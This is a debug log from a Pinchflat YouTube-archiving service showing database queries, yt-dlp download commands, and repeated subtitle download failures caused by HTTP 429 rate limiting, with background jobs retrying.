[debug] Running yt-dlp command for action: get_downloadable_status 01:37:30.354 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:30.354 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:30.354 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:30.354 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/83/fb/83fb8006d4521c611c5261c31e17b0d1719b548d8c33817a087ed8bd3f77a1a8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:37:32.414 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/83/fb/83fb8006d4521c611c5261c31e17b0d1719b548d8c33817a087ed8bd3f77a1a8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 01:37:32.415 [debug] Running yt-dlp command for action: download 01:37:32.415 [debug] QUERY OK source="settings" db=0.1ms idle=690.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:32.415 [debug] QUERY OK source="settings" db=0.1ms idle=690.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:32.415 [debug] QUERY OK source="settings" db=0.1ms idle=690.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:32.416 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/6a/7d6a29829c21c85d5e784e41b6b3d2aa65f244e5b4fd580b5201c8a5e729e41d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:37:34.981 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/6a/7d6a29829c21c85d5e784e41b6b3d2aa65f244e5b4fd580b5201c8a5e729e41d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 01:37:34.981 [error] yt-dlp download error for media item #14: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 01:37:35.235 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14},"id":22,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4634205,"event":"job:exception","queue_time":436905,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:37:47.882 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.448 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:17.884 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:47.885 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.448 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:17.886 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:47.887 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.449 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:17.888 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:47.889 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.451 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:17.890 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:47.891 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.451 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:17.892 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:47.893 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.452 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:11.174 [info] {"args":{"id":21},"id":29,"meta":{},"system_time":1784871791174215970,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:43:11.174 [debug] QUERY OK source="media_items" db=0.3ms idle=1449.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 01:43:11.174 [info] User scripts lifecyle file either not present or is empty. Skipping. 01:43:11.175 [debug] QUERY OK source="sources" db=0.1ms idle=1450.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:43:11.175 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1310.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:43:11.175 [debug] QUERY OK source="media_items" db=0.1ms idle=187.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 01:43:11.176 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 01:43:11.176 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:43:11.176 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:11.176 [debug] Running yt-dlp command for action: get_downloadable_status 01:43:11.177 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:11.177 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:11.177 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:11.177 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9f/a1/9fa1c0de38df27e506ffd934bb442188f3b0eee0a7d7e00ebbda46ca0ce9e58c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:43:13.365 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9f/a1/9fa1c0de38df27e506ffd934bb442188f3b0eee0a7d7e00ebbda46ca0ce9e58c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 01:43:13.365 [debug] Running yt-dlp command for action: download 01:43:13.366 [debug] QUERY OK source="settings" db=0.2ms idle=640.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:13.366 [debug] QUERY OK source="settings" db=0.0ms idle=641.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:13.366 [debug] QUERY OK source="settings" db=0.0ms idle=641.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:43:13.366 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a7/f7/a7f79dfb1aeac1cf4ddf9449e9a925cec861ddd30a477b1f1fefaab48f7c356a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:43:15.706 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a7/f7/a7f79dfb1aeac1cf4ddf9449e9a925cec861ddd30a477b1f1fefaab48f7c356a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 01:43:15.706 [error] yt-dlp download error for media item #21: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 01:43:15.927 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":21},"id":29,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4532918,"event":"job:exception","queue_time":208567,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:43:17.894 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:47.895 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.453 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:17.896 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:22.449 [info] {"args":{"id":150},"id":117,"meta":{},"system_time":1784871862449305486,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:44:22.450 [debug] QUERY OK source="media_items" db=0.7ms idle=724.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [150] 01:44:22.450 [info] User scripts lifecyle file either not present or is empty. Skipping. 01:44:22.451 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=726.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 01:44:22.452 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=726.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:44:22.453 [debug] QUERY OK source="media_items" db=0.6ms idle=190.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [150] 01:44:22.454 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [150] 01:44:22.455 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:44:22.456 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:22.456 [debug] Running yt-dlp command for action: get_downloadable_status 01:44:22.457 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:22.457 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:22.457 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:22.458 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b0/f8/b0f8dead9698cd3e1c5b475eb947a0fc8445ccbb43e6dbe92e9835fd545c2f7a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:44:24.501 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b0/f8/b0f8dead9698cd3e1c5b475eb947a0fc8445ccbb43e6dbe92e9835fd545c2f7a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 01:44:24.501 [debug] Running yt-dlp command for action: download 01:44:24.501 [debug] QUERY OK source="settings" db=0.1ms idle=776.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:24.501 [debug] QUERY OK source="settings" db=0.0ms idle=776.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:24.502 [debug] QUERY OK source="settings" db=0.0ms idle=777.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:44:24.502 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/de/2bde82c2ec7bdf22798354fea5f6882fad40dd85857a0d03ac1303d4b65b91e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:44:26.964 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/de/2bde82c2ec7bdf22798354fea5f6882fad40dd85857a0d03ac1303d4b65b91e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 01:44:26.964 [error] yt-dlp download error for media item #150: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 01:44:27.258 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":150},"id":117,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4515018,"event":"job:exception","queue_time":583422,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:44:47.897 [info] 